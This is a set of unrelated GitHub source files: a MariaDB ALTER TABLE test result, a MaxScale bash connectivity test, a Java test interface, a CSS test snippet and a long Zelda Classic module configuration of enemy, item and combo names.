SELECT u1, COUNT(DISTINCT d1) FROM t1 GROUP BY u1;
u1 COUNT(DISTINCT d1)
root@localhost 1
ALTER TABLE t1 ADD COLUMN d2 TIMESTAMP DEFAULT '2017-05-08 16:23:45',
LOCK=NONE;
affected rows: 0
info: Records: 0 Duplicates: 0 Warnings: 0
ALTER TABLE t1 ADD COLUMN d3 TIMESTAMP DEFAULT d1, LOCK=NONE;
ERROR 0A000: LOCK=NONE is not supported for this operation. Try LOCK=SHARED
ALTER TABLE t1 ADD COLUMN d3 TIMESTAMP DEFAULT d1, ALGORITHM=INPLACE;
ERROR 0A000: ALGORITHM=INPLACE is not supported for this operation. Try ALGORITHM=COPY
ALTER TABLE t1 ADD COLUMN d3 TIMESTAMP DEFAULT d1;
affected rows: 5
info: Records: 5 Duplicates: 0 Warnings: 0
SELECT d1-d3, d2 FROM t1;
d1-d3 d2
0 2017-05-08 16:23:45
0 2017-05-08 16:23:45
0 2017-05-08 16:23:45
0 2017-05-08 16:23:45
0 2017-05-08 16:23:45
SHOW CREATE TABLE t1;
Table Create Table
t1 CREATE TABLE `t1` (
`i1` int(10) unsigned NOT NULL,
`d1` timestamp NOT NULL DEFAULT current_timestamp(),
`u1` varchar(30) DEFAULT substr(user(),1),
`d2` timestamp NOT NULL DEFAULT '2017-05-08 16:23:45',
`d3` timestamp NOT NULL DEFAULT `d1`
) ENGINE=InnoDB DEFAULT CHARSET=latin1
ALTER TABLE t1 ADD COLUMN d4 TIMESTAMP DEFAULT CURRENT_TIMESTAMP;
affected rows: 0
info: Records: 0 Duplicates: 0 Warnings: 0
SELECT COUNT(DISTINCT d4),COUNT(d4),COUNT(*) FROM t1;
COUNT(DISTINCT d4) COUNT(d4) COUNT(*)
1 5 5
SELECT DISTINCT (CURRENT_TIMESTAMP()-d4) <= 60 FROM t1;
(CURRENT_TIMESTAMP()-d4) <= 60
1
DROP TABLE t1;
CREATE TABLE t1(f1 int) ENGINE=InnoDB;
INSERT INTO t1 SELECT * FROM seq_1_to_4096;
connect purge_control,localhost,root,,;
START TRANSACTION WITH CONSISTENT SNAPSHOT;
connection default;
DELETE FROM t1;
SET sql_mode='STRICT_ALL_TABLES,STRICT_TRANS_TABLES,NO_ZERO_DATE';
ALTER TABLE t1 ADD f2 DATE NOT NULL, ALGORITHM=INPLACE;
INSERT INTO t1 VALUES (1, now());
Warnings:
Note 1265 Data truncated for column 'f2' at row 1
ALTER TABLE t1 ADD f3 DATE NOT NULL, ALGORITHM=INPLACE;
ERROR 0A000: ALGORITHM=INPLACE is not supported for this operation. Try ALGORITHM=COPY
DROP TABLE t1;
disconnect purge_control;
| {
"pile_set_name": "Github"
} |
#!/bin/bash
rp=`realpath $0`
export ssl_options="--ssl-cert=$src_dir/ssl-cert/client-cert.pem --ssl-key=$src_dir/ssl-cert/client-key.pem"
res=0
echo "Trying RWSplit"
echo "show tables" | mysql -u$maxscale_user -p$maxscale_password -h ${maxscale_000_network} -P 4006 $ssl_option test
if [ $? != 0 ] ; then
res=1
echo "Can't connect to DB 'test'"
fi
echo "Trying ReadConn master"
echo "show tables" | mysql -u$maxscale_user -p$maxscale_password -h ${maxscale_000_network} -P 4008 $ssl_options test
if [ $? != 0 ] ; then
res=1
echo "Can't connect to DB 'test'"
fi
echo "Trying ReadConn slave"
echo "show tables" | mysql -u$maxscale_user -p$maxscale_password -h ${maxscale_000_network} -P 4009 $ssl_options test
if [ $? != 0 ] ; then
res=1
echo "Can't connect to DB 'test'"
fi
exit $res
| {
"pile_set_name": "Github"
} |
package spoon.test.reference;
public interface Foo extends Sup {
void foo();
}
interface Sup {
void sup();
} | {
"pile_set_name": "Github"
} |
-:1: error: invalid combination of opcode and operands
| {
"pile_set_name": "Github"
} |
p :link {
ba:zinga;;;
foo: bar;;;
} | {
"pile_set_name": "Github"
} |
[METADATA]
title = Zelda Classic
author = Armageddon Games
info_0 = The 'Zelda Classic Module' for ZC Player
info_1 = and ZQ Editor, featuring the classic
info_2 = first through tenth quests by Armageddon
info_3 = Games, and various contest contributors.
info_4 =
version_first = 2
version_second = 0
version_third = 1
version_fourth = 0
version_build = 0
version_beta = 0
version_year = 2019
version_month = 11
version_day = 19
version_hour = 6
version_minute = 39
[QUESTS]
quest_flow = 1
num_quest_files = 5
first_qst = modules/classic/classic_1st.qst
second_qst = modules/classic/classic_2nd.qst
third_qst = modules/classic/classic_3rd.qst
fourth_qst = modules/classic/classic_4th.qst
fifth_qst = modules/classic/classic_5th.qst
sixth_qst =
seventh_qst =
eighth_qst =
ninth_qst =
tenth_qst =
first_startdmap = 0
second_startdmap = 0
third_startdmap = 0
fourth_startdmap = 0
fifth_startdmap = 0
sixth_startdmap =
seventh_startdmap =
eighth_startdmap =
ninth_startdmap =
tenth_startdmap =
first_startscreen = 119
second_startscreen = 119
third_startscreen = 119
fourth_startscreen = 119
fifth_startscreen = 119
sixth_startscreen =
seventh_startscreen =
eighth_startscreen =
ninth_startscreen =
tenth_startscreen =
[NAMEENTRY]
first_qst_skip =
second_qst_skip = ZELDA
third_qst_skip = ALPHA
fourth_qst_skip = GANON
fifth_qst_skip = JEAN
sixth_qst_skip = -
seventh_qst_skip = -
eighth_qst_skip = -
ninth_qst_skip = -
tenth_qst_skip = -
//Name Entry Graphics
sels_tile_frame = 237
sels_tile_questicon_1A = 0
sels_tile_questicon_1B = 0
sels_tile_questicon_2A = 41
sels_tile_questicon_2B = 0
sels_tile_questicon_3A = 41
sels_tile_questicon_3B = 41
sels_tile_questicon_4A = 176
sels_tile_questicon_4B = 175
sels_tile_questicon_5A = 176
sels_tile_questicon_5B = 175
sels_tile_questicon_6A = 0
sels_tile_questicon_6B = 0
sels_tile_questicon_7A = 0
sels_tile_questicon_7B = 0
sels_tile_questicon_8A = 0
sels_tile_questicon_8B = 0
sels_tile_questicon_9A = 0
sels_tile_questicon_9B = 0
sels_tile_questicon_10A = 0
sels_tile_questicon_10B = 0
//x positions
sels_tile_questicon_1A_X = 56
sels_tile_questicon_1B_X = 56
sels_tile_questicon_2A_X = 56
sels_tile_questicon_2B_X = 56
sels_tile_questicon_3A_X = 56
sels_tile_questicon_3B_X = 41
sels_tile_questicon_4A_X = 52
sels_tile_questicon_4B_X = 52
sels_tile_questicon_5A_X = 52
sels_tile_questicon_5B_X = 52
sels_tile_questicon_6A_X = 52
sels_tile_questicon_6B_X = 52
sels_tile_questicon_7A_X = 52
sels_tile_questicon_7B_X = 52
sels_tile_questicon_8A_X = 52
sels_tile_questicon_8B_X = 52
sels_tile_questicon_9A_X = 52
sels_tile_questicon_9B_X = 52
sels_tile_questicon_10A_X = 52
sels_tile_questicon_10B_X = 52
sels_tile_frame_cset = 0
sels_tile_questicon_1A_cset = 9
sels_tile_questicon_1B_cset = 9
sels_tile_questicon_2A_cset = 9
sels_tile_questicon_2B_cset = 9
sels_tile_queTticon_3A_cset = 9
sels_tile_questicon_3B_cset = 9
sels_tile_questicon_4A_cset = 9
sels_tile_questicon_4B_cset = 9
sels_tile_questicon_5A_cset = 9
sels_tile_questicon_5B_cset = 9
sels_tile_questicon_6A_cset = 9
sels_tile_questicon_6B_cset = 9
sels_tile_questicon_7A_cset = 9
sels_tile_questicon_7B_cset = 9
sels_tile_questicon_8A_cset = 9
sels_tile_questicon_8B_cset = 9
sels_tile_questicon_9A_cset = 9
sels_tile_questicon_9B_cset = 9
sels_tile_questicon_10A_cset = 9
sels_tile_questicon_10B_cset = 9
change_cset_on_quest_3 = 1
sels_cursor_tile = 0
//the count is in tile quarters, as follows:
// [0][1] [4][5]
// [2][3] [6][7]
sels_heart_tile = 4
sels_linktile = 0
sels_heart_tilettile_cset = 9
draw_link_first = 0
//If these values are < 15, then the tile will be drawn in the specificed cset
sels_cusror_cset = 16
sels_link_cset = 16
[DATAFILES]
zcplayer_datafile = modules/classic/classic_zelda.dat
zquest_datafile = modules/classic/classic_zquest.dat
fonts_datafile = modules/classic/classic_fonts.dat
sounds_datafile = modules/classic/classic_sfx.dat
quest_template_datafile = modules/classic/classic_qst.dat
base_NSF_file = modules/classic/zelda.nsf
title_track = 0
ending_track = 1
tf_track = 5
gameover_track =
dungeon_track =
overworld_track =
lastlevel_track =
//Copyright Strings
copy_string_0 = 1986 NINTENDO
copy_string_1 = AGN
copy_string_year = 2019
//2.50 Title (five frames)
cpystr_5frame_var_font = 0
cpystr_5frame_var_x = 80
cpystr_5frame_var_y = 134
cpystr_5frame_var_col = 255
cpystr_5frame_var_sz = -1
cpystr_5frame_var_font2 = 0
cpystr_5frame_var_x2 = 80
cpystr_5frame_var_y2 = 142
cpystr_5frame_var_col2 = 15
cpystr_5frame_var_sz2 = -1
//2.10 Title (four frames)
cpystr_4frame_var_font = 0
cpystr_4frame_var_x = 46
cpystr_4frame_var_y = 138
cpystr_4frame_var_col = 255
cpystr_4frame_var_sz = -1
cpystr_4frame_var_font2 = 0
cpystr_4frame_var_x2 = 46
cpystr_4frame_var_y2 = 146
cpystr_4frame_var_col2 = 255
cpystr_4frame_var_sz2 = -1
//Original Title (one frame)
cpystr_1frame_var_font = 0
cpystr_1frame_var_x = 86
cpystr_1frame_var_y = 128
cpystr_1frame_var_col = 13
cpystr_1frame_var_sz = -1
cpystr_1frame_var_font2 = 0
cpystr_1frame_var_x2 = 86
cpystr_1frame_var_y2 = 136
cpystr_1frame_var_col2 = 13
cpystr_1frame_var_sz2 = -1
disable_title_NES_animation 0
[ENEMIES]
//Enemy Family
ee_family_guy = -Guy
ee_family_walk = Walking Enemy
ee_family_shoot = -Unused
ee_family_tek = Tektite
ee_family_lev = Leever
ee_family_pea = Peahat
ee_family_zor = Zora
ee_family_rock = Rock
ee_family_gh = Ghini
ee_family_arm = -Unused
ee_family_ke = Keese
ee_family_ge = -Unused
ee_family_zl = -Unused
ee_family_rp = -Unused
ee_family_gor = -Unused
ee_family_trap = Trap
ee_family_wm = Wall Master
ee_family_jinx = -Unused
ee_family_vir = -Unused
ee_family_rike = -Unused
ee_family_pol = -Unused
ee_family_wiz = Wizzrobe
ee_family_aqu = Aquamentus
ee_family_mold = Moldorm
ee_family_dod = Dodongo
ee_family_mhd = Manhandla
ee_family_glk = Gleeok
ee_family_dig = Digdogger
ee_family_goh = Gohma
ee_family_lan = Lanmola
ee_family_pat = Patra
ee_family_gan = Ganon
ee_family_proj = Projectile Shooter
ee_family_gtrib = -Unused
ee_family_ztrib = -Unused
ee_family_vitrib = -Unused
ee_family_ketrib = -Unused
ee_family_spintile = Spin Tile
ee_family_none = (None)
ee_family_faerie = -Fairy
ee_family_otherflt = Other (Floating)
ee_family_other = Other
//New Types as of 2.55 Alpha 4
max250 = -last index in 2.50
Custom_01 = Custom 01
Custom_02 = Custom 02
Custom_03 = Custom 03
Custom_04 = Custom 04
Custom_05 = Custom 05
Custom_06 = Custom 06
Custom_07 = Custom 07
Custom_08 = Custom 08
Custom_09 = Custom 09
Custom_10 = Custom 10
Custom_11 = Custom 11
Custom_12 = Custom 12
Custom_13 = Custom 13
Custom_14 = Custom 14
Custom_15 = Custom 15
Custom_16 = Custom 16
Custom_17 = Custom 17
Custom_18 = Custom 18
Custom_19 = Custom 19
Custom_20 = Custom 20
Friendly_NPC_01 = Friendly NPC 01
Friendly_NPC_02 = Friendly NPC 02
Friendly_NPC_03 = Friendly NPC 03
Friendly_NPC_04 = Friendly NPC 04
Friendly_NPC_05 = Friendly NPC 05
Friendly_NPC_06 = Friendly NPC 06
Friendly_NPC_07 = Friendly NPC 07
Friendly_NPC_08 = Friendly NPC 08
Friendly_NPC_09 = Friendly NPC 09
Friendly_NPC_10 = Friendly NPC 10
//Enemy Animation
ea_none = (None)
ea_flip = Flip
ea_unused1 = -Unused
ea_2frame = 2-Frame
ea_unused2 = -Unused
ea_oct = Octorok (NES)
ea_tek = Tektite (NES)
ea_lev = Leever (NES)
ea_walk = Walker
ea_zor = Zora (NES)
ea_zor4 = Zora (4-Frame)
ea_gh = Ghini
ea_arm = Armos (NES)
ea_rp = Rope
ea_wm = Wall Master (NES)
ea_wm4 = Wall Master (4-Frame)
ea_dkn = Darknut (NES)
ea_vir = Vire
ea_3f = 3-Frame
ea_wiz = Wizzrobe (NES)
ea_aqu = Aquamentus
ea_dod = Dodongo (NES)
ea_mhn = Manhandla
ea_gkl = Gleeok
ea_dig = Digdogger
ea_goh = Gohma
ea_lan = Lanmola
ea_fly2 = 2-Frame Flying
ea_4f4dT = 4-Frame 4-Dir + Tracking
ea_4f8dT = 4-Frame 8-Dir + Tracking
ea_4f4dF = 4-Frame 4-Dir + Firing
ea_4f4d = 4-Frame 4-Dir
ea_4f8dF = 4-Frame 8-Dir + Firing
ea_arm = Armos (4-Frame)
ea_fly_4f4d = 4-Frame Flying 4-Dir
ea_fly4f8d = 4-Frame Flying 8-Dir
ea_unused3 = -Unused
ea_4f8dLG = 4-Frame 8-Dir Big
ea_tek4 = Tektite (4-Frame)
ea_3f4d = 3-Frame 4-Dir
ea_2f4d = 2-Frame 4-Dir
ea_lev4 = Leever (4-Frame)
ea_2f4dT = 2-Frame 4-Dir + Tracking
ea_wiz4 = Wizzrobe (4-Frame)
ea_dod4 = Dodongo (4-Frame)
ea_bsdod = Dodongo BS (4-Frame)
ea_fly4f4dT = 4-Frame Flying 8-Dir + Firing
ea_fly_4f4dF = 4-Frame Flying 4-Dir + Firing
ea_4f = 4-Frame
ea_gan = Ganon
ea_2fLG = 2-Frame Big
[ENEMYWALKSTYLE]
wsNormal = Normal
wsCharge = Rope
wsHopSplit = Vire
wsHop = Pols Voice
wsStatue = Armos
[ITEMS]
ic_sword = Swords
ic_brang = Boomerangs
ic_arrow = Arrows
ic_cand = Candles
ic_whis = Whistles
ic_potion = Potions
ic_meat = Bait
ic_rx = Letters
ic_wand = Wands
ic_armour = Rings
ic_wallet = Wallets
ic_amul = Amulets
ic_shield = Shields
ic_bow = Bows
ic_raft = Rafts
ic_ladder = Ladders
ic_spellbook = Books
ic_mkey = Magic Keys
ic_glove = Bracelets
ic_flip = Flippers
ic_boot = Boots
ic_grapple = Hookshots
ic_lens = Lenses
ic_hammer = Hammers
ic_firespell = Din's Fire
ic_exitspell = Farore's Wind
ic_shieldspell = Nayru's Love
ic_bomb = Bombs
ic_sbomb = Super Bombs
ic_fobwatch = Clocks
ic_key = Keys
ic_mcp = Magic Containers
ic_mcguf = Triforce Pieces
ic_map = Maps
ic_compass = Compasses
ic_bkey = Boss Keys
ic_quiv = Quivers
ic_lkey = Level Keys
ic_cane = Canes of Byrna
ic_money = Rupees
ic_ammow_arrow = Arrow Ammo
ic_faerie = Fairies
ic_magic = Magic
ic_health = Hearts
ic_hc = Heart Containers
ic_hcp = Heart Pieces
ic_killall = Kill All Enemies
ic_ammo_bomb = Bomb Ammo
ic_bombbag = Bomb Bags
ic_feath = Roc Items
ic_hover = Hover Boots
ic_spinat = Scroll: Spin Attack
ic_crossbeam = Scroll: Cross Beams
ic_quakeham = Scroll: Quake Hammer
ic_ring_whisp = Whisp Rings
ic_ring_charge = Charge Rings
ic_perilbeam = Scroll: Peril Beam
ic_wmedal = Wealth Medals
ic_ring_hp = Heart Rings
ic_ring_mp = Magic Rings
ic_multispin = Scroll: Hurricane Spin
ic_supquake = Scroll: Super Quake
ic_dowse = Stones of Agony
ic_stomp = Stomp Boots
ic_ring_crit = Whimsical Rings
ic_ring_peril = Peril Rings
ic_ngongameplay = Non-gameplay Items
ic_cic01 = Custom Itemclass 01
ic_cic02 = Custom Itemclass 02
ic_cic03 = Custom Itemclass 03
ic_cic04 = Custom Itemclass 04
ic_cic05 = Custom Itemclass 05
ic_cic06 = Custom Itemclass 06
ic_cic07 = Custom Itemclass 07
ic_cic08 = Custom Itemclass 08
ic_cic09 = Custom Itemclass 09
ic_cic10 = Custom Itemclass 10
ic_cic11 = Custom Itemclass 11
ic_cic12 = Custom Itemclass 12
ic_cic13 = Custom Itemclass 13
ic_cic14 = Custom Itemclass 14
ic_cic15 = Custom Itemclass 15
ic_cic16 = Custom Itemclass 16
ic_cic17 = Custom Itemclass 17
ic_cic18 = Custom Itemclass 18
ic_cic19 = Custom Itemclass 19
ic_cic20 = Custom Itemclass 20
ic_bowandarr = Bow and Arrow (Subscreen Only)
ic_bottle = Letter or Potion (Subscreen Only)
ic_last =
ic_89 =
ic_90 =
ic_91 =
ic_92 =
ic_93 =
ic_94 =
ic_95 =
ic_96 =
ic_97 =
ic_98 =
ic_99 =
ic_100 =
ic_101 =
ic_102 =
ic_103 =
ic_104 =
ic_105 =
ic_106 =
ic_107 =
ic_108 =
ic_109 =
ic_111 =
ic_112 =
ic_113 =
ic_114 =
ic_115 =
ic_116 =
ic_117 =
ic_118 =
ic_119 =
ic_120 =
ic_121 =
ic_122 =
ic_123 =
ic_124 =
ic_125 =
ic_126 =
ic_127 =
ic_128 =
ic_129 =
ic_130 =
ic_131 =
ic_132 =
ic_133 =
ic_134 =
ic_135 =
ic_136 =
ic_137 =
ic_138 =
ic_139 =
ic_140 =
ic_141 =
ic_142 =
ic_143 =
ic_144 =
ic_145 =
ic_146 =
ic_147 =
ic_148 =
ic_149 =
ic_150 =
ic_151 =
ic_152 =
ic_153 =
ic_154 =
ic_155 =
ic_156 =
ic_157 =
ic_158 =
ic_159 =
ic_160 =
ic_161 =
ic_162 =
ic_163 =
ic_164 =
ic_165 =
ic_166 =
ic_167 =
ic_168 =
ic_169 =
ic_170 =
ic_171 =
ic_172 =
ic_173 =
ic_174 =
ic_175 =
ic_176 =
ic_177 =
ic_178 =
ic_179 =
ic_180 =
ic_181 =
ic_182 =
ic_183 =
ic_184 =
ic_185 =
ic_186 =
ic_187 =
ic_188 =
ic_189 =
ic_190 =
ic_191 =
ic_192 =
ic_193 =
ic_194 =
ic_195 =
ic_196 =
ic_197 =
ic_198 =
ic_199 =
ic_200 =
ic_201 =
ic_202 =
ic_203 =
ic_204 =
ic_205 =
ic_206 =
ic_207 =
ic_208 =
ic_209 =
ic_210 =
ic_211 =
ic_212 =
ic_213 =
ic_214 =
ic_215 =
ic_216 =
ic_217 =
ic_218 =
ic_219 =
ic_220 =
ic_221 =
ic_222 =
ic_223 =
ic_224 =
ic_225 =
ic_226 =
ic_227 =
ic_228 =
ic_229 =
ic_230 =
ic_231 =
ic_232 =
ic_233 =
ic_234 =
ic_235 =
ic_236 =
ic_237 =
ic_238 =
ic_239 =
ic_240 =
ic_241 =
ic_242 =
ic_243 =
ic_244 =
ic_245 =
ic_246 =
ic_247 =
ic_248 =
ic_249 =
ic_250 =
ic_251 =
ic_252 =
ic_253 =
ic_254 =
ic_255 =
ic_256 = Script 01
ic_257 = Script 02
ic_258 = Script 03
ic_259 = Script 04
ic_260 = Script 05
ic_261 = Script 06
ic_262 = Script 07
ic_263 = Script 08
ic_264 = Script 09
ic_265 = Script 10
ic_266 = Ice Rod
ic_267 =
ic_267 =
ic_269 =
ic_270 =
ic_271 =
ic_272 =
ic_273 =
ic_274 =
ic_275 =
ic_276 =
ic_277 =
ic_278 =
ic_279 =
ic_280 =
ic_281 =
ic_282 =
ic_283 =
ic_284 =
ic_285 =
ic_286 =
ic_287 =
ic_288 =
ic_289 =
ic_290 =
ic_291 =
ic_292 =
ic_293 =
ic_294 =
ic_295 =
ic_296 =
ic_297 =
ic_298 =
ic_299 =
ic_300 =
ic_301 =
ic_302 =
ic_303 =
ic_304 =
ic_305 =
ic_306 =
ic_307 =
ic_308 =
ic_309 =
ic_311 =
ic_312 =
ic_313 =
ic_314 =
ic_315 =
ic_316 =
ic_317 =
ic_318 =
ic_319 =
ic_320 =
ic_321 =
ic_322 =
ic_323 =
ic_324 =
ic_325 =
ic_326 =
ic_327 =
ic_328 =
ic_329 =
ic_330 =
ic_331 =
ic_332 =
ic_333 =
ic_334 =
ic_335 =
ic_336 =
ic_337 =
ic_338 =
ic_339 =
ic_340 =
ic_341 =
ic_342 =
ic_343 =
ic_344 =
ic_345 =
ic_346 =
ic_347 =
ic_348 =
ic_349 =
ic_350 =
ic_351 =
ic_352 =
ic_353 =
ic_354 =
ic_355 =
ic_356 =
ic_357 =
ic_358 =
ic_359 =
ic_360 =
ic_361 =
ic_362 =
ic_363 =
ic_364 =
ic_365 =
ic_366 =
ic_367 =
ic_368 =
ic_369 =
ic_370 =
ic_371 =
ic_372 =
ic_373 =
ic_374 =
ic_375 =
ic_376 =
ic_377 =
ic_378 =
ic_379 =
ic_380 =
ic_381 =
ic_382 =
ic_383 =
ic_384 =
ic_385 =
ic_386 =
ic_387 =
ic_388 =
ic_389 =
ic_390 =
ic_391 =
ic_392 =
ic_393 =
ic_394 =
ic_395 =
ic_396 =
ic_397 =
ic_398 =
ic_399 =
ic_400 =
ic_401 =
ic_402 =
ic_403 =
ic_404 =
ic_405 =
ic_406 =
ic_407 =
ic_408 =
ic_409 =
ic_411 =
ic_412 =
ic_413 =
ic_414 =
ic_415 =
ic_416 =
ic_417 =
ic_418 =
ic_419 =
ic_420 =
ic_421 =
ic_422 =
ic_423 =
ic_424 =
ic_425 =
ic_426 =
ic_427 =
ic_428 =
ic_429 =
ic_430 =
ic_431 =
ic_432 =
ic_433 =
ic_434 =
ic_435 =
ic_436 =
ic_437 =
ic_438 =
ic_439 =
ic_440 =
ic_441 =
ic_442 =
ic_443 =
ic_444 =
ic_445 =
ic_446 =
ic_447 =
ic_448 =
ic_449 =
ic_450 =
ic_451 =
ic_452 =
ic_453 =
ic_454 =
ic_455 =
ic_456 =
ic_457 =
ic_458 =
ic_459 =
ic_460 =
ic_461 =
ic_462 =
ic_463 =
ic_464 =
ic_465 =
ic_466 =
ic_467 =
ic_468 =
ic_469 =
ic_470 =
ic_471 =
ic_472 =
ic_473 =
ic_474 =
ic_475 =
ic_476 =
ic_477 =
ic_478 =
ic_479 =
ic_480 =
ic_481 =
ic_482 =
ic_483 =
ic_484 =
ic_485 =
ic_486 =
ic_487 =
ic_488 =
ic_489 =
ic_490 =
ic_491 =
ic_492 =
ic_493 =
ic_494 =
ic_495 =
ic_496 =
ic_497 =
ic_498 =
ic_499 =
ic_500 =
ic_501 =
ic_502 =
ic_503 =
ic_504 =
ic_505 =
ic_506 =
ic_507 =
ic_508 =
ic_509 =
ic_511 =
[COMBOS]
cNONE = (None)
cSTAIR = Stairs [A]
cCAVE = Cave (Walk Down) [A]
cWATER = Water
cSTATUE = Armos
cGRAVE = Grave
cDOCK = Dock
cUNDEF = -Unused
cPUSH_WAIT = Push (Wait)
cPUSH_HEAVY = Push (Heavy)
cPUSH_HW = Push (Heavy, Wait)
cL_STATUE = Left Statue
cR_STATUE = Right Statue
cWALKSLOW = Slow Walk
cCVUP = Conveyor Up
cCVDOWN = Conveyor Down
cCVLEFT = Conveyor Left
cCVRIGHT = Conveyor Right
cSWIMWARP = Swim Warp [A]
cDIVEWARP = Dive Warp [A]
cLADDERORGRAPPLE = Ladder or Hookshot
cTRIGNOFLAG = Step->Secrets (Temporary)
cTRIGFLAG = Step->Secrets (Permanent)
cWINGAME = -Unused
cSLASH = Slash
cSLASHITEM = Slash (Item)
cPUSH_HEAVY2 = Push (Very Heavy)
cPUSH_HW2 = Push (Very Heavy, Wait)
cPOUND = Pound
cHSGRAB = Hookshot Grab
cHSBRIDGE = -Hookshot Bridge
cDAMAGE1 = Damage (1/2 Heart)
cDAMAGE2 = Damage (1 Heart)
cDAMAGE3 = Damage (2 hearts)
cDAMAGE4 = Damage (4 Hearts)
cC_STATUE = Center Statue
cTRAP_H = Trap (Horizontal, Line of Sight)
cTRAP_V = Trap (Vertical, Line of Sight)
cTRAP_4 = Trap (4-Way)
cTRAP_LR = Trap (Horizontal, Constant)
cTRAP_UD = Trap (Vertical, Constant)
cPIT = Direct Warp [A]
cGRAPPLEONLY = Hookshot Only
cOVERHEAD = Overhead
cNOFLYZONE = No Flying Enemies
cMIRROR = Magic Mirror (4-Way)
cMIRRORSLASH = Magic Mirror (Up-Left, Down-Right)
cMIRRORBACKSLASH = Magic Mirror (Up-Right, Down-Left)
cMAGICPRISM = Magic Prism (3-Way)
cMAGICPRISM4 = Magic Prism (4-Way)
cMAGICSPONGE = Block Magic
cCAVE2 = Cave (Walk Up) [A]
cEYEBALL_A = Eyeball (8-Way A)
cEYEBALL_B = Eyeball (8-Way B)
cNOJUMPZONE = No Jumping Enemies
cBUSH = Bush
cFLOWERS = Flowers
cTALLGRASS = Tall Grass
cSHALLOWWATER = Shallow Water
cLOCKBLOCK = Lock Block (Normal)
cLOCKBLOCK2 = Lock Block (Normal, Copycat)
cBOSSLOCKBLOCK = Lock Block (Boss)
cBOSSLOCKBLOCK2 = Lock Block (Boss, Copycat)
cLADDERONLY = Ladder Only
cBSGRAVE = BS Grave
cCHEST = Treasure Chest (Normal)
cCHEST2 = Treasure Chest (Normal, Copycat)
cLOCKEDCHEST = Treasure Chest (Locked)
cLOCKEDCHEST2 = Treasure Chest (Locked, Copycat)
cBOSSCHEST = Treasure Chest (Boss)
cBOSSCHEST2 = Treasure Chest (Boss, Copycat)
cRESET = Reset Room
cSAVE = Save Point
cSAVE2 = Save-Quit Point
cCAVEB = Cave (Walk Down) [B]
cCAVEC = Cave (Walk Down) [C]
cCAVED = Cave (Walk Down) [D]
cSTAIRB = Stairs [B]
cSTAIRC = Stairs [C]
cSTAIRD = Stairs [D]
cPITB = Direct Warp [B]
cPITC = Direct Warp [C]
cPITD = Direct Warp [D]
cCAVE2B = Cave (Walk Up) [B]
cCAVE2C = Cave (Walk Up) [C]
cCAVE2D = Cave (Walk Up) [D]
cSWIMWARPB = Swim Warp [B]
cSWIMWARPC = Swim Warp [C]
cSWIMWARPD = Swim Warp [D]
cDIVEWARPB = Dive Warp [B]
cDIVEWARPC = Dive Warp [C]
cDIVEWARPD = Dive Warp [D]
cSTAIRR = Stairs [Random]
cPITR = Direct Warp [Random]
cAWARPA = Auto Side Warp [A]
cAWARPB = Auto Side Warp [B]
cAWARPC = Auto Side Warp [C]
cAWARPD = Auto Side Warp [D]
cAWARPR = Auto Side Warp [Random]
cSWARPA = Sensitive Warp [A]
cSWARPB = Sensitive Warp [B]
cSWARPC = Sensitive Warp [C]
cSWARPD = Sensitive Warp [D]
cSWARPR = Sensitive Warp [Random]
cSTRIGNOFLAG = Step->Secrets (Sensitive, Temp)
cSTRIGFLAG = Step->Secrets (Sensitive, Perm.)
cSTEP = Step->Next
cSTEPSAME = Step->Next (Same)
cSTEPALL = Step->Next (All)
cSTEPCOPY = Step->Next (Copycat)
cNOENEMY = No Enemies
cBLOCKARROW1 = Block Arrow (L1)
cBLOCKARROW2 = Block Arrow (L1, L2)
cBLOCKARROW3 = Block Arrow (All)
cBLOCKBRANG1 = Block Brang (L1)
cBLOCKBRANG2 = Block Brang (L1, L2)
cBLOCKBRANG3 = Block Brang (All)
cBLOCKSBEAM = Block Sword Beam
cBLOCKALL = Block All
cBLOCKFIREBALL = Block Fireball
cDAMAGE5 = Damage (8 hearts)
cDAMAGE6 = Damage (16 hearts)
cDAMAGE7 = Damage (32 hearts)
cCHANGE = -Unused
cSPINTILE1 = Spinning Tile (Immediate)
cSPINTILE2 = -Unused
cSCREENFREEZE = Screen Freeze (Except FFCs)
cSCREENFREEZEFF = Screen Freeze (FFCs Only)
cNOGROUNDENEMY = No Ground Enemies
cSLASHNEXT = Slash->Next
cSLASHNEXTITEM = Slash->Next (Item)
cBUSHNEXT = Bush->Next
cSLASHTOUCHY = Slash (Continuous)
cSLASHITEMTOUCHY = Slash (Item, Continuous)
cBUSHTOUCHY = Bush (Continuous)
cFLOWERSTOUCHY = Flowers (Continuous)
cTALLGRASSTOUCHY = Tall Grass (Continuous)
cSLASHNEXTTOUCHY = Slash->Next (Continuous)
cSLASHNEXTITEMTOUCHY = Slash->Next (Item, Continuous)
cBUSHNEXTTOUCHY = Bush->Next (Continuous)
cEYEBALL_4 = Eyeball (4-Way)
cTALLGRASSNEXT = Tall Grass->Next
cSCRIPT1 = Script 01
cSCRIPT2 = Script 02
cSCRIPT3 = Script 03
cSCRIPT4 = Script 04
cSCRIPT5 = Script 05
cSCRIPT6 = Script 06
cSCRIPT7 = Script 07
cSCRIPT8 = Script 08
cSCRIPT9 = Script 09
cSCRIPT10 = Script 10
cSCRIPT11 = Script 11
cSCRIPT12 = Script 12
cSCRIPT13 = Script 13
cSCRIPT14 = Script 14
cSCRIPT15 = Script 15
cSCRIPT16 = Script 16
cSCRIPT17 = Script 17
cSCRIPT18 = Script 18
cSCRIPT19 = Script 19
cSCRIPT20 = Script 20
[MAPFLAGS]
mfNONE = 0 (None)
mfPUSHUD = 1 Push Block (Vertical, Trigger)
mfPUSH4 = 2 Push Block (4-Way, Trigger)
mfWHISTLE = 3 Whistle Trigger
mfBCANDLE = 4 Burn Trigger (Any)
mfARROW = 5 Arrow Trigger (Any)
mfBOMB = 6 Bomb Trigger (Any)
mfFAIRY = 7 Fairy Ring (Life)
mfRAFT = 8 Raft Path
mfSTATUE_SECRET = 9 Armos -> Secret
mfSTATUE_ITEM = 10 Armos/Chest -> Item
mfSBOMB = 11 Bomb (Super)
mfRAFT_BRANCH = 12 Raft Branch
mfDIVE_ITEM = 13 Dive -> Item
mfLENSMARKER = 14 Lens Marker
mfWINGAME = 15 Zelda (Win Game)
mfSECRETS01 = 16 Secret Tile 0
mfSECRETS02 = 17 Secret Tile 1
mfSECRETS03 = 18 Secret Tile 2
mfSECRETS04 = 19 Secret Tile 3
mfSECRETS05 = 20 Secret Tile 4
mfSECRETS06 = 21 Secret Tile 5
mfSECRETS07 = 22 Secret Tile 6
mfSECRETS08 = 23 Secret Tile 7
mfSECRETS09 = 24 Secret Tile 8
mfSECRETS10 = 25 Secret Tile 9
mfSECRETS11 = 26 Secret Tile 10
mfSECRETS12 = 27 Secret Tile 11
mfSECRETS13 = 28 Secret Tile 12
